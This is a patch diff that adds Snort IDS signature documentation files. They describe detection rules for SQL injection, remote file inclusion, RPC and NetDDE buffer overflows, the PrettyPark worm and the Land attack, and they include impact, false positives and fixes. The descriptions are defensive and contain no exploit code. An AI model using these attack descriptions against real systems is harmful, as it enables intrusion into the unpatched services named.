+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2061.txt
+++ snort-2.8.5.2/doc/signatures/2061.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2061
+
+--
+Summary:
+Jakarta Tomcat webserver.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+A vulnerability exists in Jakarta Tomcat webservers prior to version 
+3.3.1a such that a request containing a null byte will result in a 
+directory listing or present the opportunity to view the source of a 
+java servlet on the server.
+
+This occurs wether or not an index file is present in the directory.
+
+--
+Affected Systems:
+Jakarta Tomcat web application server prior to version 3.3.1a
+
+--
+Attack Scenarios:
+The attacker needs to supply a null byte in a URI request to the server.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade the server to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0042
+
+Apache Jakarta Tomcat:
+http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000520.txt
+++ snort-2.8.5.2/doc/signatures/100000520.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000520
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Xarancms" application running on a webserver. Access to 
+the file "xaramcms_haupt.php" with SQL commands being passed as the "id" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "xaramcms_haupt.php" script used 
+by the "Xarancms" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Xarancms
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/454.txt
+++ snort-2.8.5.2/doc/signatures/454.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+454
+
+--
+Summary:
+This event is generated when an ICMP Timestamp request is made with an invalid or undefined ICMP Code.
+
+--
+Impact:
+Information gathering.  An ICMP Timestamp request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP Timestamp request is used by the ping command to elicit an ICMP Timestamp reply from a listening live host.  This rule alerts on a generic ICMP request where no payload is included in the message or the payload does not match more specific rules. 
+
+If ICMP type 8 (echo) traffic is filtered at a firewall, an attacker may try to use type 13 (timestamp) as an alternative.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP Timestamp request may be used to legitimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP Timestamp requests.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Additional information by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/557.txt
+++ snort-2.8.5.2/doc/signatures/557.txt
@@ -0,0 +1,93 @@
+Rule:  
+
+--
+
+Sid:
+
+557
+
+--
+
+Summary:
+
+A network-internal server has authenticated an external GNUTella client
+connection attempt and they have begun communications.
+
+--
+
+Impact:
+
+Possible policy violation.
+
+--
+
+Detailed Information:
+
+GNUTella is a P2P (Peer-to-Peer) protocol for exchanging arbitrary
+files.  Depending on your site's policies, using it may be a policy
+violation.
+
+If not properly configured, GNUTella clients may accidentally share out
+confidential files.  GNUTella worms (which use deceptive names to
+encourage download) and viruses may also be accidentally downloaded by a
+client.
+
+This rule being triggered means that a GNUTella server has been detected
+on the protected network.
+
+--
+
+Affected Systems:
+
+Any system with a GNUTella server installed (available for most
+platforms)
+
+--
+
+Attack Scenarios:
+It is possible for an inside attack to take place by using peer-to-peer
+clients to transfer corporate data from an internal resource to an
+external third party.
+
+--
+
+Ease of Attack:
+Simple. This is peer-to-peer activity.
+
+--
+
+False Positives:
+
+This rule detects the term "GNUTELLA OK" on all ports.  As a result, any
+email, web page, or other network content that discusses the protocol
+and its messages will trigger this alert.
+
+--
+
+False Negatives:
+
+None known.
+
+--
+
+Corrective Action:
+
+Depends on acceptable use policies.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+
+-- 
+
+Additional References:
+
+GNUTella
+http://www.gnutella.com
+
+Gnutella Protocol
+http://rfc-gnutella.sourceforge.net/developer/testing/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1908.txt
+++ snort-2.8.5.2/doc/signatures/1908.txt
@@ -0,0 +1,70 @@
+Rule:
+
+Sid:
+1909
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) Calendar
+Manager Service daemon, cmsd.
+
+--
+Impact:
+Remote root access. The attack may allow execution of arbitrary commands
+with the privileges of root.
+
+--
+Detailed Information:
+The cmsd RPC service implements the Calendar Manager Service daemon that
+is often distributed with the Common Desktop Environment (CDE) and Open
+Windows. The Calendar Manager daemon provides appointment and scheduling
+functions for CDE. A buffer overflow exists in the rtable_insert()
+function because of improper bounds checking, allowing the execution of
+arbitrary commands with the privileges of root.  One possible exploit
+vector is by inserting appointments into the Calendar Manager database.
+ 
+--
+Affected Systems:
+	SCO Open UNIX 8.0
+	SCO UnixWare 7.1.1
+	HP-UX 10.20, 10.24, 10.30, 11.0
+	Sun Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, 7.0
+	Sun SunOS 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+The attacker can use the exploit code to overflow the buffer allowing
+execution of arbitrary commands with the privileges of root.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/643.txt
+++ snort-2.8.5.2/doc/signatures/643.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 643
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing HP-UX UNIX network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS359
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1481.txt
+++ snort-2.8.5.2/doc/signatures/1481.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1481
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000813.txt
+++ snort-2.8.5.2/doc/signatures/100000813.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000813
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SimpleBoard SBP" application running on a webserver. Access to the file "file_upload.php" using a remote file being passed as the "sbp" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "sbp" parameter in the "file_upload.php" script used by the "SimpleBoard SBP" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SimpleBoard SBP
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/772.txt
+++ snort-2.8.5.2/doc/signatures/772.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+
+772
+
+--
+Summary:
+This event is generated when the PrettyPark virus attempts to spread.
+
+--
+Impact:
+Possible virus infection. Attempt to spread a virus/trojan.
+
+--
+Detailed Information:
+Prettypark is a Win32 based Internet worm. This spreads through the Internet by attaching itself to email messages.
+
+When the attached file is executed, it checks for the existence of Prettypark in memory, if it is not present it then installs Prettypark. After infecting it sends messages to all the email addresses listed in the address book with an attachment containing the virus.
+
+Prettypark is capable of revealing passwords and connects to IRC channels. System access is possible.
+
+--
+Affected Systems:
+Windows 95, 98 and NT
+
+--
+Attack Scenarios:
+This is virus propogation activity.
+
+--
+Ease of Attack:
+
+Simple.
+
+--
+False Positives:
+
+Possible in certain mail content
+
+--
+False Negatives:
+
+None known
+
+--
+Corrective Action:
+ 
+Use an Anti-Virus tool to remove it.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+http://www.nwinternet.com/~pchelp/bo/prettypark.htm
+--
--- snort-2.8.5.2.orig/doc/signatures/100000471.txt
+++ snort-2.8.5.2/doc/signatures/100000471.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000471
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "show.php" with SQL commands being passed as the "objectID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "objectID" parameter in the "show.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2971.txt
+++ snort-2.8.5.2/doc/signatures/2971.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2971
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000459.txt
+++ snort-2.8.5.2/doc/signatures/100000459.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000459
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "WeBBoA" application running on a webserver. Access to the 
+file "yeni_host.asp" with SQL commands being passed as the "id" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "yeni_host.asp" script used by the 
+"WeBBoA" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using WeBBoA
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/571.txt
+++ snort-2.8.5.2/doc/signatures/571.txt
@@ -0,0 +1,66 @@
+SID:
+571
+--
+
+Rule:
+--
+
+Summary:
+This event indicates an attempt to exploit the tool talk RPC database 
+service
+--
+
+Impact:
+Possible unauthorized administrative access to the server or application
+or a denial of service to the affected application running on a Solaris 
+system
+--
+
+Detailed Information:
+ToolTalk RPC database service (rpc.ttdbserverd) does not perform 
+adequate input validation or provide a format string specifier argument 
+when writing to syslog. This means a specifically crafted RPC request to
+the ToolTalk RPC database service overwriting specific locations in 
+memory and therefore allowing execution of code with the same permission
+level as the user running ttdbserverd, usually root.
+--
+
+Affected Systems:
+	Solaris 1.1 - 2.6
+Possibly other vendors, if you are running Tool Talk (rpc.ttdbserverd) check with your vendor.
+--
+
+Attack Scenarios:
+An attacker will send a specially crafted RPC call to the 
+rpc.ttdbserverd daemon running on an affected system. A sucessful 
+attack will then run code on the server with the access level of the 
+root user.
+--
+
+Ease of Attack:
+Simple, Exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Updates packages and patches are available from vendors, install them or
+disable the service if not needed.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2364.txt
+++ snort-2.8.5.2/doc/signatures/2364.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2364
+
+--
+Summary:
+This event is generated when an attempt is made to access a file that
+has a known vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made access the file
+options_form.php used in the PHP application Cyboards. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	Cyboards Cyboards PHP Lite 1.21
+	Cyboards Cyboards PHP Lite 1.25
+
+--
+Attack Scenarios:
+My manipulating certain variables contained in a PHP script an attacker
+may be able to supply code of their choosing and execute it on the
+server.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1068.txt
+++ snort-2.8.5.2/doc/signatures/1068.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1068
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1178.txt
+++ snort-2.8.5.2/doc/signatures/1178.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1178
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2309.txt
+++ snort-2.8.5.2/doc/signatures/2309.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2309
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1227.txt
+++ snort-2.8.5.2/doc/signatures/1227.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+1227
+
+--
+Summary:
+This event is generated when an attempt is made to communicate to an internal host from a remote X server session.
+
+--
+Impact:
+Remote access.  This attack may indicate that an internal host has been compromised and has been configured to offer remote access through an xterm session.
+
+--
+Detailed Information:
+Traffic from source ports 6000 through 6005 inclusive may indicate that an internal host is communicating with an external host using an xterm session.  An attacker may compromise an internal host and establish communications between the remote host and the compromised host using an xterm session.  This is particularly effective means of establishing communications because the xterm session is established by the internal host.  Typically, firewalls do not scrutinize or block outbound traffic, such as establishing an xterm session. 
+
+--
+Affected Systems:
+Host offering xterm client software. 
+
+--
+Attack Scenarios:
+An attacker may establish communications using an xterm session between a compromised host and remote host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A remote host may connect to an internal host with a source port of 6000 through 6005 inclusive.
+
+--
+False Negatives:
+If multiple concurrent xterm sessions exists, a port greater than 6005 may be selected.
+
+--
+Corrective Action:
+Block outbound xterm sessions.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Documented by  Steven Alexander<alexander.s@mccd.edu>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+
+Additional References:
+http://www.whitehats.com/info/IDS126
+
+--
--- snort-2.8.5.2.orig/doc/signatures/527.txt
+++ snort-2.8.5.2/doc/signatures/527.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid: 527
+
+--
+Summary:
+This event is generated when traffic on the network is using the same 
+source and destination IP address.
+
+--
+Impact:
+Possible Denial of Service.
+
+--
+Detailed Information:
+Under normal circumstances traffic to and from the same IP address 
+should not be seen on the network. This may be an indicator for the Land
+attack tool.
+
+Some TCP/IP stacks hang or even crash when presented with a TCP SYN 
+packet containing the same source and destination IP address. Some 
+target hosts will crash others will be temporarily disabled.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+A packet that has the same source and destination IP addresses directed to TCP
+port 7007 or 7778 can cause a denial of service for Windows Media Station or
+Windows Media Monitor on Windows 2000 hosts SP2, SP3, SP4 running Windows Media
+services 4.0 or 4.1 will also generate an event from this rule.
+
+--
+Affected Systems:
+	Multiple systems from multiple vendors.
+
+--
+Attack Scenarios:
+The attacker may send traffic from a spoofed source address, in this 
+case the victims IP address.
+
+The attacker may be using the Land attack tool.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Employ egress filtering at the border router or firewall.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+SANS:
+http://www.sans.org/rr/firewall/egress.php
+
+CERT:
+http://www.cert.org/advisories/CA-1997-28.html
+
+Bugtraq:
